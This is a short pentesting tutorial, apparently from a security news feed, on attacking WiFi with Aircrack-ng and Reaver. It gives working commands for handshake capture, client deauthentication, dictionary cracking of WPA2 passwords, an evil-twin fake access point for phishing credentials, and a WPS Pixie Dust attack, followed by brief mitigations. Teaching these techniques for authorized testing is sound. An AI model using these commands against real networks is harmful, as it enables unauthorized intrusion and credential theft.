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WiFi networks are prime targets for attackers, and Aircrack-ng is one of the most powerful tools to analyze, capture, and crack wireless encryption. Whether you’re testing WEP, WPA, or WPA2, this guide walks you through real-world WiFi exploitation.
You Should Know:
1. Enable Monitor Mode
To identify WiFi networks and clients in range, use the following commands:
airmon-ng start wlan0 airodump-ng wlan0mon
This will switch your wireless interface to monitor mode and display available networks.
2. Capturing WPA2 Handshakes
To capture a WPA2 handshake, use:
airodump-ng --bssid <target-BSSID> -c <channel> -w capture wlan0mon
To force a client to reconnect and capture the handshake, deauthenticate them:
aireplay-ng -0 10 -a <target-BSSID> wlan0mon
3. Cracking WPA2 Passwords
Use a dictionary attack to crack the captured handshake:
aircrack-ng -w rockyou.txt -b <target-BSSID> capture.cap
Ensure you have a strong wordlist like `rockyou.txt` for effective cracking.
4. Evil Twin Attack (Captive Portal Phishing)
Create a fake access point to trick users:
airbase-ng -a <target-BSSID> -e "Free WiFi" wlan0mon
Redirect traffic to a fake login page to steal credentials.
5. WPS Pixie Dust Attack
Exploit vulnerable WPS networks for quick access:
reaver -i wlan0mon -b <target-BSSID> -vv
This attack targets weak WPS implementations.
Defensive Mitigations
- Disable WPS to prevent brute-force attacks.
- Use strong, non-dictionary WPA2 passwords.
- Enable MAC address filtering (though not foolproof, it adds a layer of security).
- Monitor for deauth attacks and rogue access points.
What Undercode Say:
WiFi pentesting is a critical skill for red teamers and security professionals. Tools like Aircrack-ng provide powerful capabilities for analyzing and exploiting wireless networks. However, always ensure you have proper authorization before conducting any tests. Defensive measures like disabling WPS, using strong passwords, and monitoring for rogue APs are essential to secure your network.
For further reading, check out the official Aircrack-ng documentation: Aircrack-ng Official Site.
References:
Reported By: Shihab Hossen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
